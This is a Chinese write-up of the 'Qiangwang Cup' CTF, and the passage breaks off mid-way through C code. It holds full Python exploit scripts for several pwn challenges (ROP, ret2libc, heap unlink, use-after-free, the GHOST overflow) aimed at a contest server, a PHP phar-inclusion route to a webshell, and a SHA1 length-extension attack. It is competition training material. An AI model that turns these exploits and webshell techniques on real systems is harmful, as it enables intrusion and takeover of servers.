“强网杯”网络安全挑战赛WriteUp

      “强网杯”网络安全挑战赛WriteUp无评论

“强网杯”网络安全挑战赛WriteUp

“强网杯”挑战赛是面向国内信息安全企业(团队)和高等院校的国家级网络安全赛事,也是第二届国家网络安全宣传周的重要活动之一。

Guess

溢出点:

程序是个按图回答的游戏,游戏通关后会让输入邮箱,会打印

Thank you so much! I will send you a gift, bye!

最开始手试了两把,输入正确的邮箱,但是flag都没有发到邮箱里。

仔细看程序,才发现是个栈溢出。

“强网杯”网络安全挑战赛WriteUp

利用:

这个程序没有给libc库,要拿shell比较困难,不过程序中有读取文件的函数,

“强网杯”网络安全挑战赛WriteUp

所以直接构造rop去读取flag文件。

利用脚本:

from zio import *     target = ('119.254.101.197',10000)  #target = './guess'     def exp(target):      io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))      io.gdb_hint()      d = io.read_until('What').split('What')[0]         addr = 0x08048830      io.writeline('a'*0x9c+l32(addr)+l32(0)+l32(0x0804A100))      io.read_until('!/n')      #for i in range(9):      for i in range(5):          d = io.read_until('What').split('What')[0]          if 'quu' in d:              io.writeline('pikachu')          elif 'COOL' in d:              io.writeline('peanuts')          elif 'bug' in d:              io.writeline('batman')          elif '88888888888' in d:              io.writeline('linux')          elif '==o==' in d:              io.writeline('superman')      io.read_until('email:')      io.writeline('flag')      io.interact()     exp(target)

urldecoder

在url解码函数中虽然对长度做了限制,不过对%后面的两个字符没有做严格的判断,所以可以在%后面的两个字符中放一个/x00绕过strlen的判断,从而栈溢出。

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

脚本如下:  from zio import *     target = ('119.254.101.197',10001)  #target = './urldecoder'     def exp(target):      io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))      io.read_until('URL:')         pop_ebp_ret   = 0x080488D2      puts_plt = 0x08048530      puts_got = 0x08049DE8      read_fun = 0x08048720         main = 0x08048590      payload = 'http://%/x32/x00'+'a'*0x94 + l32(puts_plt) + l32(pop_ebp_ret) + l32(puts_got)      payload += l32(main)      payload += '/x00'         io.writeline(payload)      io.read_until('/n')      puts_addr = l32(io.read(4))      print hex(puts_addr)         libc_base = puts_addr - 0x00065650      io.read_until('URL:')         system_addr = libc_base + 0x00040190      binsh_addr = libc_base + 0x00160A24         payload = 'http://%/x32/x00'+'a'*0x94 + l32(system_addr) + l32(pop_ebp_ret) + l32(binsh_addr)         io.writeline(payload)      io.interact()     exp(target)

shellman

在edit的时候没有对长度做判断,存在堆溢出

“强网杯”网络安全挑战赛WriteUp

利用:

参考了217的0ctf freenote的writeup中的思路,通过堆溢出,修改下一块堆的size字节中的prev_inuse比特位,让下一块堆误认为其上一块堆处于空闲态。

之后在free 下一块堆时,后调用unlink。通过伪造的上一块堆结构,修改了bss节中的一个堆指针。

之后利用程序的edit和show功能,实现内存的任意读写。

利用脚本:  from zio import *     target = ('119.254.101.197', 10002)  #target = './shellman'     def new_sc(io, sc):      io.read_until('>')      io.writeline('2')      io.read_until(':')      io.writeline(str(len(sc)))      io.read_until(':')      io.write(sc)     def edit_sc(io, index, new_sc):      io.read_until('>')      io.writeline('3')      io.read_until(':')      io.writeline(str(index))      io.read_until(':')      io.writeline(str(len(new_sc)))      io.read_until(':')      io.write(new_sc)     def delete_sc(io, index):      io.read_until('>')      io.writeline('4')      io.read_until(':')      io.writeline(str(index))     def list_sc(io):      io.read_until('>')      io.writeline('1')      io.read_until('SHELLC0DE 0: ')      return l64(io.read(16).decode('hex'))     def exp(target):      #io = zio(target, timeout=10000, print_read=COLORED(REPR, 'red'), print_write=COLORED(REPR, 'green'))      io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))      new_sc(io, 'a'*0xa0) #0x603010      new_sc(io, 'b'*0xa0) #0x6030c0      new_sc(io, '/bin/sh;'+'c'*0x98) #0x603170         ptr_addr = 0x00000000006016d0      #                              rax                  rdx      payload = l64(0) + l64(0xa1) + l64(ptr_addr-0x18) + l64(ptr_addr-0x10) + 'a'*0x80 + l64(0xa0) + l64(0xb0)         edit_sc(io, 0, payload) # change *0x6016d0 = 0x6016b8         delete_sc(io, 1)         free_got = 0x0000000000601600      payload2 = l64(0) + l64(1) +l64(0xa0) + l64(free_got)      edit_sc(io, 0, payload2)         free_addr = list_sc(io)      print hex(free_addr)         #local      '''      system_addr = 0x00007FFFF7A5B640      '''      libc_base = free_addr - 0x0000000000082DF0      system_addr = libc_base + 0x0000000000046640         edit_sc(io, 0, l64(system_addr))         delete_sc(io, 2)      io.interact()     exp(target)

imdb

漏洞点:

在删除操作的时候,会将所有同名的全部删除,但是只会将最后一个的指针清0,存在uaf漏洞。

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

利用:

因为movie和tv结构体的前4字节为一个虚表指针,所以考虑伪造虚表。不过因为程序中所有用户输入的数据都存储在堆上,伪造的虚表也只能放在堆上,要想获取伪造虚表的地址,需要先通过泄露一个堆指针得到伪造虚表所在地址。同时,为了拿shell还需要获取libc库加载基地址。

利用打印movie中的actors可以实现任意地址的读取。

“强网杯”网络安全挑战赛WriteUp

这道题没有给libc库,不过根据泄露的信息可以知道用的库和shellman是同一个,所以也就相当于有libc库。

利用的脚本如下:  from zio import *     target = ('119.254.101.197',10003)  #target = './imdb'     def add_tv(io, name, session, rating, introduction):      io.read_until('?')      io.writeline('1')      io.read_until('?')      io.writeline(name)      io.read_until('?')      io.writeline(str(session))      io.read_until('?')      io.writeline(str(rating))      io.read_until('?')      io.writeline(introduction)     def add_movie(io, name, actors, rating, introduction):      io.read_until('?')      io.writeline('2')      io.read_until('?')      io.writeline(name)      io.read_until('?')      io.writeline(actors)      io.read_until('?')      io.writeline(str(rating))      io.read_until('?')      io.writeline(introduction)     def remove_entry(io, name):      io.read_until('?')      io.writeline('3')      io.read_until('?')      io.writeline(name)     def show_all(io):      io.read_until('?')      io.writeline('4')      io.read_until('bbbbbbbb')      io.read_until('actors: ')      d = io.read_until('/n').strip('/n')      malloc_addr = l64(d.ljust(8, '/x00'))      print hex(malloc_addr)         io.read_until('bbbbbbbb')      io.read_until('actors: ')      d = io.read_until('/n').strip('/n')      heap_addr = l64(d.ljust(8, '/x00'))      print hex(heap_addr)         return malloc_addr, heap_addr        def exp(target):      io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))         add_tv(io, 'aaa', 100, 200, 'bbbb') #0x602010      add_tv(io, 'aaa', 100, 200, 'bbbb') #0x6020f0      add_tv(io, 'aaa', 100, 200, 'bbbb') #0x6021d0         remove_entry(io, 'aaa')         malloc_got = 0x0000000000601C58         db_addr = 0x601dc0      movie_vt = 0x00000000004015b0         payload = l64(movie_vt) + 'a'*8 + '/x00'*56 + 'b'*8 +'/x00'*(0x80-8) + l64(0x0000006443480000)+l64(malloc_got)      print len(payload)      add_movie(io, 'ccc', payload, 300, 'eeee') #0x602010 0x602110         add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6021e0      add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6022c0      add_tv(io, 'hhh', 100, 200, 'bbbb') #0x6023a0      remove_entry(io, 'hhh')         payload = l64(movie_vt) + 'a'*8 + '/x00'*56 + 'b'*8 +'/x00'*(0x80-8) + l64(0x0000006443480000)+l64(db_addr)      add_movie(io, 'ccc', payload, 300, 'eeee')         malloc_addr, heap_addr = show_all(io)         io.gdb_hint()      add_tv(io, 'jjj', 100, 200, 'bbbb') #0x6023b0      add_tv(io, 'jjj', 100, 200, 'bbbb') #0x602490      add_tv(io, 'jjj', 100, 200, 'bbbb') #0x602570      remove_entry(io, 'jjj')         #local      #addr2 = malloc_addr - 0x00007FFFF7277750 + 0x00007FFFF723B52C         #remote      addr2 = malloc_addr - 0x0000000000082750 + 0x000000000004652c         fake_vt = 0x6023b0+8 - 0x602010 + heap_addr      payload = l64(fake_vt) + '/bin/sh;' + '/x00'*56 + 'b'*8 +'/x00'*(0x80-8) + l64(0x0000006443480000)+l64(db_addr)      print len(payload)      add_movie(io, l64(addr2), payload, 300, 'eeee')         io.writeline('4')      io.interact()     exp(target)

domain_db

漏洞:

该程序调用了gethostbyname,同时提供的libc的版本为2.15.(通过strings libc.so.6 | grep GLIBC查看),所以基本确定是去年的ghost漏洞。

因为当时漏洞刚出来时,大概看了一下漏洞,知道漏洞为4字节溢出。需要达到溢出需要满足2个条件:

Gethostbyname的name参数需要大于0×400,且均为数字或者.号。

通过分析,发现该漏洞可以覆盖下一个堆的size位。

利用过程大致如下:

1.       申请了0-10个domain。

2.       释放domain1

3.       调用gethostbyname,此时保证gethostbyname中申请的堆刚好完全占用domain1释放出来的堆。这样刚好能覆盖domain2的size位,覆盖为0×3231,即对应ascii中的21。

4.       释放domain2。 此时domain2的size被修改了,所以释放时堆管理器会将domain3-10的区域也回收了。此步为了保证过free check,我让domain2_ptr + fake_size == av->top。

5.       之后再次申请空间时,会将domain3-10的空间会被再次分配。可以通过修改其中某个domain的name指针为free_got。

6.       之后利用程序的show和edit功能对free_got进行读取和改写。

利用脚本如下:  from zio import *     target = ('119.254.101.197', 10006)  #target = './domain_db'     def add_domain(io, name):      io.read_until('>')      io.writeline('1')      io.read_until(':')      io.writeline(name)     def lookup_domain(io, id):      io.read_until('>')      io.writeline('5')      io.read_until(':')      io.writeline(str(id))     def edit_domain_name(io, id, new_name):      io.read_until('>')      io.writeline('2')      io.read_until(':')      io.writeline(str(id))      io.read_until(':')      io.writeline(new_name)     def remove_domain(io, id):      io.read_until('>')      io.writeline('3')      io.read_until(':')      io.writeline(str(id))     def list_domain(io):      io.read_until('>')      io.writeline('4')      io.read_until('<1> ')      free = l32(io.read(4))      print hex(free)      return free     def exp(target):      io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))      io.gdb_hint()      add_domain(io, '0' * (0x800 - 16 - 8 - 1 - 4 - 3)+'12') #0 0x804c008 0x804c7f0      add_domain(io, '0'*0x770) #1 0x804c878 0x804cff0  top=0x804d070      add_domain(io, '0'*0x1a0) #2      add_domain(io, '/bin/sh'+'0'*0x88) #3 0x0804d340 0x0804d2a8      add_domain(io, '0'*0x10) #4 0x0804d3e0      add_domain(io, '0'*0x5b0) #5      add_domain(io, '0'*0x770) #6      add_domain(io, '0'*0x770) #7      add_domain(io, '0'*0x770) #8      add_domain(io, '0'*0x770) #9  add_domain(io, '/bin/sh;'+'0'*(0x770-8)) #10         remove_domain(io, 1)  lookup_domain(io, 0)     remove_domain(io, 2) # top = 0x804d070 unsort=0x804d218         ptr_addr = 0x0804b0a4      add_domain(io, '0'*0x90) #1 0x0804d220      free_got = 0x0804b004      payload2 = 272*'1' + l32(free_got)      add_domain(io, payload2)      free = list_domain(io)      #local      system = 0xb7e55060      #remote      system = free - 0x781b0 + 0x3d170      edit_domain_name(io, 1, l32(system))      remove_domain(io, 10)      io.interact()     exp(target)

最好的语言php

页面很简单,没什么信息,发现了index.php.bak文件,

“强网杯”网络安全挑战赛WriteUp

其中数据库连接和sqli过滤部分隐藏了,尝试了一下确实没有sql注入漏洞。看代码的逻辑应该是在$id==1024的时候会在数据库中查询出flag。利用php与mysql对浮点数据处理精度不同。?id=1024.[若干0]1,尝试几个即可得出flag。

俳句自动打分系统

这道题难度有两点,一个是文件包含漏洞的利用,page=php://filter/convert.base64-encode/resource=index,可以看到index.php文件源码base64编码之后的代码。分析之后可以看到xxtp协议已经过滤,而且最后include语句会加上.php后缀。phar协议可以构造出可包含的poc。

网上搜的phar打包的代码:

<?php  try{      $p = new Phar(dirname(__FILE__) . "my.phar", 0, 'my.phar');  } catch (UnexpectedValueException $e) {      die('Could not open my.phar');  } catch (BadMethodCallException $e) {      echo 'technically, this cannot happen';  }  $p->startBuffering();  $p['1.php'] = file_get_contents('shell.php');  $p->setStub("<?php      Phar::mapPhar('myphar.phar');  __HALT_COMPILER();");  $p->stopBuffering();  ?>

上面代码会把shell.php打包的phar包中去。因为协议是对本地文件包含,在robots.txt中找到txt文件上传路径,且会返回文件名。将phar包改.txt文件名上传,构造poc:

?page=phar://upload_paiju/Eny2CRWfkt91Gf69.txt/1

这样包含之后的路径就是

Include(upload_paiju/Eny2CRWfkt91Gf69.txt/1.php)

其中Eny2CRWfkt91Gf69.txt/1.php是对phar包中1.php文件的访问方式(可以查一下phar用法)。

获得了webshell。

在第一天,我用的eval一句话木马,eval可用,但是脚本过几秒钟就会被删除。而且没有找到flag文件。

第二天服务重开之后,发现eval木马用不了了,因为这个题目过滤比较严格,可能被过滤了,就换了preg_replace写的一句话,可用。植入代码ini_get_all()获得所有的php.ini文件内容。其中看到被允许的路径只有网站根目录、tmp、和/srv(这是什么鬼?)

   Flag就在/srv下躺着了。

 

         这种题目比较好玩,估计是前面进去的人写了php脚本过几秒就删除别人上传的文件,第二天就不存在这种问题了,遇到的问题和后来上来的很大不同,坏人增多了。

Flager-checker

看下源码,只要满足这一行就可以:

“强网杯”网络安全挑战赛WriteUp

后面用&&隔开的一共有47个方程,理论上47个方程47个未知量是可解的,仔细观察一下,可以发现,如果将方程按照长度排序的话,从上至下每隔一行即可解出来一个变量,他的方程每多一行就只多了一个变量而已,那么就可以利用eval对新多出来的变量进行爆破了,脚本:

“强网杯”网络安全挑战赛WriteUp

Keygen

程序有很多种解,通过向服务器提交一种解就可以获得flag:

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

最优先确定的是4,9,14,19位置,然后,将之前的程序临摹,通过对部分位置的固定赋值可以直接计算出另外位置的合适的数值。

__author__ = 'bibi'   import hashlib   a1="0"*24   def run(a1):       if len(a1)!=24:           return 0       v16= [           a1[11],           a1[2],           a1[1], #0           a1[13],           a1[16], #0           a1[10],           a1[7], #0           a1[17],       ]          v8 = [           a1[15], #0           a1[12],           a1[18], #0           a1[0],           a1[6], #0           a1[8],           a1[5], #0           a1[3],       ]          v16 += v8             f = open('./sn_download', 'rb')       d = f.read()[0x18e0:]       f.close()       v24=[]       #print v16       for j in range(16):           if (ord(d[j]) - 48 > 9) | (ord(d[j]) < 48):               k = ord(d[j])               v24.append(v16[k])           else:               v24.append(d[j])       #print v24       #print ''.join(c for c in v24)          temp="".join(v24)       v25=hashlib.md5(temp).digest()       #print v25       #print v25.encode('hex')          v26=[]       f = open('./sn_download', 'rb')       d2 = f.read()[0x18f0:]       f.close()       for k in range(16):           v26.append(d2[ord(v25[k]) >> 4])           v26.append(d2[ord(v25[k]) & 0xf])       #print v26          v42 = ''       for i in range(16):           v42 =v42 + str(ord(v26[i]))                temp = v42.split('0')          final_v42 = ''       for t in temp:           final_v42 += t          '''       for m in range(5,13):           if final_v42[m] != v8[m-5]:               result=0               return 0       '''       v8 = final_v42[5:13]       a2 = a1[0:15]+v8[0]+a1[16:]       a2 = a2[0:12]+v8[1]+a2[13:]       a2 = a2[0:18]+v8[2]+a2[19:]       a2 = v8[3]+a2[1:]       a2 = a2[0:6]+v8[4]+a2[7:]       a2 = a2[0:8]+v8[5]+a2[9:]       a2 = a2[0:5]+v8[6]+a2[6:]       a2 = a2[0:3]+v8[7]+a2[4:]          return a2            a1 = 'aaaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)   a1 = 'abaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)   a1 = 'acaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)   a1 = 'adaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)   a1 = 'aeaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)   a1 = 'afaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)   a1 = 'agaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)   a1 = 'ahaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)   a1 = 'aiaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)   a1 = 'ajaa-aaaa-aaaa-aaaa-aaaa'   print run(a1)

Broken

什么都是坏的,找了个正常的引导区直接winhex覆盖头,发现启动不了,通过vmware在windows下挂载软盘镜像或者直接winhex打开,可以找到几个文件:

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

Flag文件拿下来,补上png的文件头:

“强网杯”网络安全挑战赛WriteUp

“强网杯”网络安全挑战赛WriteUp

开脑洞,调大长度,拿到flag:

“强网杯”网络安全挑战赛WriteUp

NESTING DOLL

https://github.com/SilasX/QuineRelayFiles,就是一个字,装。

Repartition:

根据题目提示

“强网杯”网络安全挑战赛WriteUp

Secret.rar被删除了,用普通的数据恢复软件即可还原。

但是secretpass.txt被大文件覆盖了

找到其ntfs父目录文件记录0x80b1800,在下方偏移0×200出发现secret.rar的密码

“强网杯”网络安全挑战赛WriteUp

解压得到flag{ch0n9x1n_f3n9u-fu_g41_yebu4nquan}

Salt

本题关键点有两个,一个是用户名admin的绕过,另一个是sha1的长度扩展攻击。

第一点绕过的关键点是url解析的时候后面的变量会覆盖前面的变量,因此我们只需构造

/login?username=a&password=aaaaaa&username=admin

即可,注意此处的password必须为6-20位,这里取6位。

对于第二点的绕过,这里解释一下长度扩展攻击,在正常情况下,需要哈希的字符串为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt  00000010: 2F 6C 6F 67 69 6E 3F 75  73 65 72 6E 61 6D 65 3D  /login?username=  00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa  00000030: 61 26 75 73 65 72 6E 61  6D 65 3D 61 64 6D 69 6E  a&username=admin

在sha1的时候,会先补一个比特的1,也就是0×80,然后补齐至余512为418,也就是52个字节,剩余的12个字节用来补齐长度,即*(注:补齐,余512为448,最后八字节补齐长度)

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt  00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username=  00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa  00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin  00000040: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000050: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000060: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000070: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 02 00  ................

然后使用下面的一组数作为初始化向量进行计算,

h0=0x67452301,  h1=0xEFCDAB89,  h2=0x98BADCFE,  h3=0x10325476,  h4=0xC3D2E1F0

计算的规则是对补齐后的数据以512bit即64字节为一组进行移位异或等数学计算,每一组计算会改变h1-h4的值,这些改变的值将作为下一组计算的初始化向量。全部组计算完成后最终的初始化向量拼接起来就是sha1的值。

这样就形成了我们的攻击思路,首先发送正常的数据,获取sha1,然后我们手动补齐上一组正常的数据,又获取一个sha1,之后对第一组获取的sha1的初始化向量进行提取,修改算法中的初始化向量,然后将这个修改后的算法仅仅用于对第二组数据的补全数据进行sha1,就能得出与第二组获取的sha1相同的数据。

也就是说我们发送的第一组数据为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt  00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username=  00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa  00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin

这组数据获取的sha1为a02d54c05cecc94ff2d698146e0b2c778104d85,获取的初始化向量分别为0xa02d54c0,0x5cecc94f,0xf2d69814,0x6e0b2c77,0x8104d85

发送的第二组数据为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt  00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username=  00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa  00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin  00000040: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000050: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000060: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000070: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 02 00  ................

该组在计算过程中,补全的结果为

00000000: 73 61 6C 74 73 61 6C   74  73 61 6C 74 73 61 6C 74  saltsaltsaltsalt  00000010: 2F 6C 6F 67 69 6E 3F   75  73 65 72 6E 61 6D 65 3D  /login?username=  00000020: 61 26 70 61 73 73 77   6F  72 64 3D 61 61 61 61 61  a&password=aaaaa  00000030: 61 26 75 73 65 72 6E   61  6D 65 3D 61 64 6D 69 6E  a&username=admin  00000040: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000050: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000060: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................  00000070: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 02 00  ................  00000080: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000090: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  000000A0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  000000B0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 04 00  ................

获取的sha1为f687bedf0ce1e96f9238c7dae716337b0d9d74ad

因此我们只需将初始化变量0xa02d54c0,0x5cecc94f0x,f2d69814,0x6e0b2c77,0x8104d85带入算法,只需计算补上的信息

00000080: 80 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  00000090: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  000000A0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 00 00  ................  000000B0: 00 00 00 00 00 00 00   00  00 00 00 00 00 00 04 00  ................

就可以得出与第二组相等的sha1,即f687bedf0ce1e96f9238c7dae716337b0d9d74ad

本题中,由于获取的sha1不全,只需对第一次获取的sha1中的x进行爆破,就可以得到第一次的sha1,提交即可。

先用python写了一个爆破,结果太慢了,有用c写了一个

代码  Sha1.h  //! SHA1 动态链接库实现   H文件  #ifndef SHA1_H  #define SHA1_H     #include "stdio.h"  //! #定义SHA 中的返回ENUM  /*!       @see enum  */  #ifndef _SHA_enum_  #define _SHA_enum_  enum  {           shaSuccess   = 0,           /*!   <空指示参量 */           shaNull,                      /*!   < 输入数据太长提示 */           shaInputTooLong,            /*! <called Input after Result --以输入结果命名之 */           shaStateError       };  #endif  //! SHA1HashSize定义的是SHA1哈希表的大小  #define SHA1HashSize 20  //!   #能够进行动态链接库编译的SHA1类   /*!          @see class _declspec(dllexport) SHA_1         将SHA1算法写成动态链接库的形式方便调用,生成消息使用   */  class _declspec(dllexport) SHA_1  {  public:           //!   #定义数据结构控制上下文消息 SHA1Context           /*!               以下这种结构将会控制上下文消息 for   the SHA-1               hashing operation                     @see   struct SHA1Context           */           typedef   struct SHA1Context           {                     unsigned   long Intermediate_Hash[SHA1HashSize/4]; /*! <Message Digest  */                        unsigned   long Length_Low;            /*!   <Message length in bits      */                     unsigned   long Length_High;           /*!   <Message length in bits      */                        /*!   <Index into message block array   */                     long   Message_Block_Index;                     unsigned   char Message_Block[64];      /*!   <512-bit message blocks      */                        int   Computed;               /*! <Is the   digest computed?         */                     int   Corrupted;             /*! <Is the   message digest corrupted? */           }   SHA1Context;     public:        //! #SHA_1 的构造函数        /*!            @see SHA_1()        其中应该对SHA_1类中的一些变量进行相应的初始化        */           SHA_1();           //!   #SHA_1的析构函数        /*!           @see   ~SHA_1()        释放内存        */           ~SHA_1(void);              /*----------------------------------函数原型----------------------------------*/           //!   #SHA1算法中的数据填充模块        /*!             @see void SHA1PadMessage(SHA1Context *);             @param[SHA1Context*  定义填充信息指针             @return[void] 不返回任何值        */           void   SHA1PadMessage(SHA1Context *);      /*  定义填充信息指针  */        //! #SHA1的消息块描述函数        /*!             @see void SHA1ProcessMessageBlock(SHA1Context   *);             @param[SHA1Context*  定义填充信息指针             @param[in] 消息块长度为固定之512比特             @return[void] 不返回任何值        */           void   SHA1ProcessMessageBlock(SHA1Context *);           //!   #SHA1的数据初始化操作函数        /*!             @see int SHA1Reset(  SHA1Context *);             @param[SHA1Context*  定义填充信息指针             @return[int] 成功返回shaNull,失败返回shaSuccess             @see SHA1 enum        */           int   SHA1Reset(  SHA1Context *,unsigned long   , unsigned long , unsigned long,unsigned long,unsigned long);           //!   #SHA1的输入描述函数        /*!             @see int SHA1Input(  SHA1Context *, const unsigned char *,   unsigned int);             @param[SHA1Context*  定义填充信息指针        @param[unsigned char 接收单位长度为8字节倍数的消息             @return[enum] 成功返回shaNull,失败返回shaSuccess,错误返回shaStateError             @see SHA1 enum        */           int   SHA1Input(  SHA1Context *, const   unsigned char *, unsigned int);           //!   #SHA1的结果描述函数        /*!             @see int SHA1Result( SHA1Context *,   unsigned char Message_Digest[SHA1HashSize]);             @param[SHA1Context*  定义填充信息指针        @param[unsigned char 160比特的消息摘要队列             @attention 返回一个160比特的消息摘要队列             @return[enum] 成功返回shaNull,失败返回shaSuccess,错误返回shaStateError             @see SHA1 enum        */           int   SHA1Result( SHA1Context *, unsigned char Message_Digest[SHA1HashSize]);     private:  };     #endif // SHA1_H       Sha1.app  // sha1.cpp : Defines the entry   point for the console application.  //     #include "SHA1.h"  #include "stdio.h"  #include "windows.h"  /*!以下所用各种参量名称皆为sha-1在出版物上所用之公用名称  */  /*   *  以下是为 SHA1 向左环形移位宏 之定义   */     BOOL isattack = FALSE;  int paddinglength = 0;     #define   SHA1CircularShift(bits,word) /                  (((word) << (bits)) |   ((word) >> (32-(bits))))     SHA_1::SHA_1()  {  }     SHA_1::~SHA_1(void)  {  }     /*   *  以下为sha-1消息块描述:   *  消息块长度为固定之512比特   */  void   SHA_1::SHA1ProcessMessageBlock(SHA1Context *context)  {        const unsigned long K[] =      {       /* Constants defined in   SHA-1   */                              0x5A827999,                              0x6ED9EBA1,                              0x8F1BBCDC,                              0xCA62C1D6                              };        int               t;                 /* 循环计数 */        unsigned long      temp;              /* 临时缓存 */        unsigned long      W[80];             /* 字顺序   */        unsigned long      A, B, C, D,   E;     /* 设置系统磁盘缓存块 */           /*       *    以下为初始化在W队列中的头16字数据       */        for(t = 0; t < 16; t++)        {          W[t] = context->Message_Block[t *   4] << 24;          W[t] |= context->Message_Block[t *   4 + 1] << 16;          W[t] |= context->Message_Block[t *   4 + 2] << 8;          W[t] |= context->Message_Block[t *   4 + 3];        }           for(t = 16; t < 80; t++)        {         W[t] = SHA1CircularShift(1,W[t-3] ^   W[t-8] ^ W[t-14] ^ W[t-16]);        }           A = context->Intermediate_Hash[0];        B = context->Intermediate_Hash[1];        C = context->Intermediate_Hash[2];        D = context->Intermediate_Hash[3];        E = context->Intermediate_Hash[4];        /*        *    以下为定义算法所用之数学函数及其迭代算法描述        */        for(t = 0; t < 20; t++)        {                     temp   =  SHA1CircularShift(5,A) +                              ((B   & C) | ((~B) & D)) + E + W[t] + K[0];                     E   = D;                     D   = C;                     C   = SHA1CircularShift(30,B);                     B   = A;                     A   = temp;        }           for(t = 20; t < 40; t++)        {          temp = SHA1CircularShift(5,A) + (B ^   C ^ D) + E + W[t] + K[1];          E = D;          D = C;          C = SHA1CircularShift(30,B);          B = A;          A = temp;        }           for(t = 40; t < 60; t++)        {          temp = SHA1CircularShift(5,A) +                 ((B & C) | (B & D) |   (C & D)) + E + W[t] + K[2];          E = D;          D = C;          C = SHA1CircularShift(30,B);          B = A;          A = temp;        }           for(t = 60; t < 80; t++)        {          temp = SHA1CircularShift(5,A) + (B ^   C ^ D) + E + W[t] + K[3];          E = D;          D = C;          C = SHA1CircularShift(30,B);          B = A;          A = temp;        }        /*        *    以下为迭代算法第80步(最后一步)描述       */        context->Intermediate_Hash[0] += A;        context->Intermediate_Hash[1] += B;        context->Intermediate_Hash[2] += C;        context->Intermediate_Hash[3] += D;        context->Intermediate_Hash[4] += E;           context->Message_Block_Index = 0;  }        /*   *    SHA1PadMessage   *  数据填充模块   */     void   SHA_1::SHA1PadMessage(SHA1Context *context)  {           if (context->Message_Block_Index > 55)        {            context->Message_Block[context->Message_Block_Index++] = 0x80;          while(context->Message_Block_Index   < 64)          {                context->Message_Block[context->Message_Block_Index++] = 0;            }             SHA1ProcessMessageBlock(context);             while(context->Message_Block_Index   < 56)          {                context->Message_Block[context->Message_Block_Index++] = 0;          }        }        else        {            context->Message_Block[context->Message_Block_Index++] = 0x80;          while(context->Message_Block_Index   < 56)          {                context->Message_Block[context->Message_Block_Index++] = 0;          }        }           /*       *    把最后64位保存为数据长度       */           if(isattack)                     context->Length_Low   = paddinglength*8;           context->Message_Block[56] = context->Length_High >> 24;        context->Message_Block[57] = context->Length_High >> 16;        context->Message_Block[58] = context->Length_High >> 8;        context->Message_Block[59] = context->Length_High;        context->Message_Block[60] = context->Length_Low >> 24;        context->Message_Block[61] = context->Length_Low >> 16;        context->Message_Block[62] = context->Length_Low >> 8;        context->Message_Block[63] = context->Length_Low;           SHA1ProcessMessageBlock(context);  }     /*   *    SHA1Reset   *    *  以下为数据初始化之操作   *    Parameters:(参数设置)   *    context: [in/out]   *  The   context to reset.   *   */  int SHA_1::SHA1Reset(SHA1Context   *context, unsigned long h1, unsigned long h2, unsigned long h3,unsigned long   h4,unsigned long h5)  {        if (!context)        {          return shaNull;        }           context->Length_Low               = 0;        context->Length_High              = 0;        context->Message_Block_Index      = 